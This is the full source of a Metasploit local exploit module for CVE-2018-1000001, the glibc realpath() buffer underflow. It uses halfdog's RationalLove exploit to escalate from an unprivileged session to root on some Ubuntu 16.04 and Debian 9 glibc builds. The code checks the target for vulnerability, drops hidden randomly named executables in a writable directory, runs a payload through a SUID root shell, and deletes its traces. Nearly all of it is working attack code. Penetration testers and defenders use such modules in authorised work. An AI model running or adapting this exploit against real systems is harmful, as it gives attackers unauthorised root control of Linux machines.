This Metasploit module attempts to gain root privileges on Linux systems by abusing a vulnerability in GNU C Library (glibc) version 2.26 and prior. This Metasploit module uses halfdog's RationalLove exploit to exploit a buffer underflow in glibc realpath() and create a SUID root shell. The exploit has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1. The target system must have unprivileged user namespaces enabled. This Metasploit module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64) with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc version 2.24-11+deb9u1.
fdde72feb2388aee3f2e93395c3c6363##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "glibc 'realpath()' Privilege Escalation",
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in GNU C Library (glibc) version 2.26 and prior.
This module uses halfdog's RationalLove exploit to exploit a buffer
underflow in glibc realpath() and create a SUID root shell. The exploit
has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.
The target system must have unprivileged user namespaces enabled.
This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)
with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc
version 2.24-11+deb9u1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'halfdog', # Discovery and RationalLove.c exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Jan 16 2018',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'RationalLove.c' ],
[ 'BID', '102525' ],
[ 'CVE', '2018-1000001' ],
[ 'EDB', '43775' ],
[ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],
[ 'URL', 'https://securitytracker.com/id/1040162' ],
[ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],
[ 'URL', 'https://usn.ubuntu.com/3534-1/' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -w -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
register_file_for_cleanup path
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
version = kernel_release
if Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.36')
vprint_error "Linux kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{version} is vulnerable"
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
version = glibc_version
if Gem::Version.new(version.split('-').first) > Gem::Version.new('2.26')
vprint_error "GNU C Library version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "GNU C Library version #{version} is vulnerable"
# fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1
glibc_banner = cmd_exec('ldd --version')
unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')
vprint_error 'No offsets for this version of GNU C Library'
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
@executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile @executable_path, exploit_data('RationalLove.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx @executable_path, exploit_data('RationalLove')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit...'
output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30
output.each_line { |line| vprint_status line.chomp }
end
def on_new_session(client)
# remove root owned SUID executable
if client.type.eql? 'meterpreter'
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
client.fs.file.rm @executable_path
else
client.shell_command_token "rm #{@executable_path}"
end
end
end